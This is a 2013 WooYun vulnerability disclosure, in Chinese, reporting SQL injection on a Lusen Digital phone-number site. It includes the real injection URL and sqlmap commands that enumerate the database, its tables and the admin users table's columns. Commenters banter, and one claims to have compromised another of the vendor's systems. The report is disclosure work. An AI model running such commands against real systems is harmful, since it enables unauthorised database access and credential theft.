当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-020754

漏洞标题：绿森数码的一些SQL注入漏洞

相关厂商：浙江绿森数码科技有限公司

漏洞作者： leaf

提交时间：2013-03-27 15:16

修复时间：2013-05-11 15:17

公开时间：2013-05-11 15:17

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-03-27： 细节已通知厂商并且等待厂商处理中
2013-03-28： 厂商已经确认，细节仅向厂商公开
2013-04-07： 细节向核心白帽子及相关领域专家公开
2013-04-17： 细节向普通白帽子公开
2013-04-27： 细节向实习白帽子公开
2013-05-11： 细节向公众公开

简要描述：

绿森数码sql注入！

详细说明：

漏洞链接：

http://xuanhao.lusen.com/index.php/default/multi_select/app/shoujihao     (典型的POST注入点)


当前用户和当前数据库：

./sqlmap.py -u "http://xuanhao.lusen.com/index.php/default/multi_select/app/shoujihao" --data "area=&memo=&province=&type=" --current-user --current-db


11.jpg


当前数据库的所有表：

./sqlmap.py -u "http://xuanhao.lusen.com/index.php/default/multi_select/app/shoujihao" --data "area=&memo=&province=&type=" --tables -D "d_2745"


22.jpg


sdb_dashboard_users表的所有列：

./sqlmap.py -u "http://xuanhao.lusen.com/index.php/default/multi_select/app/shoujihao" --data "area=&memo=&province=&type=" --columns -T "sdb_dashboard_users" -D "d_2745"


33.jpg


...
...
...
点到为止，未进一步深入！

漏洞证明：

如上所述！

修复方案：

版权声明：转载请注明来源 leaf@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2013-03-28 17:20

厂商回复：

十分感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2013-03-27 15:20 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    这个厂商还没来确认过，某某系统我已经进去了，只要他来确认我就开始发～～～骚年，有你的地方就有我，我们一辈子幸福的在一起～

  2. 2013-03-27 15:21 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么？)

    @小胖子 汗！又来跟踪了...已经确认了，你刷新下...

  3. 2013-03-27 15:22 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    @leaf 戏弄屌丝智商？！！！！！！

  4. 2013-03-27 15:43 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么？)

    @小胖子 这...我的标题...

  5. 2013-03-27 18:00 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    @小胖子 戏弄屌丝智商？笑死我了......你有女朋友吗

  6. 2013-03-27 18:26 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    @冷静 本屌丝马上结婚了，你就死心吧。。。

  7. 2013-03-28 17:23 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么？)

    @浙江绿森数码科技有限公司 5...

  8. 2013-03-28 17:36 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    @leaf 看来我还是不忙发～这～

  9. 2013-03-28 19:14 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么？)

    @小胖子 不用发了，看来之前@zkz 说的是对的...

  10. 2013-03-28 19:34 | zkz ( 普通白帽子 | Rank:136 漏洞数:14 | 人生充满悲剧，淡定才是真理)

    @leaf @小胖子 绿森的技术员就是一个不可理喻的东西！只能用东西来比喻了，不用发了！自己留着玩儿吧！

  11. 2013-03-28 19:37 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    @zkz 什么情况！表示关注

  12. 2013-03-28 19:42 | zkz ( 普通白帽子 | Rank:136 漏洞数:14 | 人生充满悲剧，淡定才是真理)

    @lucky 无情况 他们的技术员怕发礼物，还不咋懂漏洞，说发礼物，然后获取我联系方式，打电话问了一堆问题，然后说是客服点错礼品按钮了！没了！

  13. 2013-03-28 20:01 | lucky ( 普通白帽子 | Rank:409 漏洞数:81 | 三人行必有我师焉########################...)

    @zkz 不是吧！这么坑！

  14. 2013-03-28 20:22 | zkz ( 普通白帽子 | Rank:136 漏洞数:14 | 人生充满悲剧，淡定才是真理)

    @lucky 就这么坑

  15. 2013-03-28 20:23 | leaf ( 普通白帽子 | Rank:948 漏洞数:121 | 真的没影响么？)

    群众的眼睛是雪亮的...

  16. 2013-03-28 20:27 | zkz ( 普通白帽子 | Rank:136 漏洞数:14 | 人生充满悲剧，淡定才是真理)

    @leaf 嗯 淡定吧！

  17. 2013-04-11 11:53 | 包包 ( 路人 | Rank:6 漏洞数:5 | 我是菜鸟，我怕谁？小弟新来，望大牛多多包...)

    虾米？